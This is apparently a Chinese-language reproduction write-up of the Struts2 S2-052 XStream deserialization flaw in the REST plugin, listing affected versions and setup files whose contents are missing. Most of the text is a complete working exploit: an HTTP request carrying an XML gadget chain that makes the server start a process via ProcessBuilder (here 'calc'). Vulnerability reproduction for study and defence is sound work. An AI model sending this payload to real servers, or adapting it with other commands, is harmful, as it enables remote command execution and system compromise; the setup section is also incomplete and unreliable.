Struts2 S2-052

Struts2 S2-052影响的版本是Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12。

主要是struts2的rest plugin的XStreamHandler存在问题。

所以，我们在复现此漏洞时，需要引入struts2-core,struts2-rest-plugin以及struts2-convention-plugin（支持注解的Jar包）。

环境搭建：

1.代码结构如下：

2.pom.xml的内容如下：

、

3.web.xml的内容如下：

4.struts.xml的内容如下：

5.OrdersController.java的内容如下：

6.OrdersService.java的内容如下：

7.Order.java的内容如下：

8.index.jsp的内容如下：

主要出问题的是create方法，它会将传入的xml文件尝试转换为Object，从而触发了远程命令的执行。

具体的payload如下：

GET /orders.xml HTTP/1.1

Host: localhost:8080

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: zh-CN,zh;q=0.8

Cookie: JSESSIONID=32C4A01FB84A6BD268DFD9A60D10C5CE

If-None-Match: 29013064

Connection: close

Content-Type: application/xml

Content-Length: 2379

<map>

<entry>

<jdk.nashorn.internal.objects.NativeString>

<flags>0</flags>

<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

<dataHandler>

<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

<is class="javax.crypto.CipherInputStream">

<cipher class="javax.crypto.NullCipher">

<initialized>false</initialized>

<opmode>0</opmode>

<serviceIterator class="javax.imageio.spi.FilterIterator">

<iter class="javax.imageio.spi.FilterIterator">

<iter class="java.util.Collections$EmptyIterator"/>

<next class="java.lang.ProcessBuilder">

<command>

<string>calc</string>

</command>

<redirectErrorStream>false</redirectErrorStream>

</next>

</iter>

<filter class="javax.imageio.ImageIO$ContainsFilter">

<method>

<class>java.lang.ProcessBuilder</class>

<name>start</name>

<parameter-types/>

</method>

<name>foo</name>

</filter>

<next class="string">foo</next>

</serviceIterator>

<lock/>

</cipher>

<input class="java.lang.ProcessBuilder$NullInputStream"/>

<ibuffer/>

<done>false</done>

<ostart>0</ostart>

<ofinish>0</ofinish>

<closed>false</closed>

</is>

<consumed>false</consumed>

</dataSource>

<transferFlavors/>

</dataHandler>

<dataLen>0</dataLen>

</value>

</jdk.nashorn.internal.objects.NativeString>

<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

</entry>

<entry>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>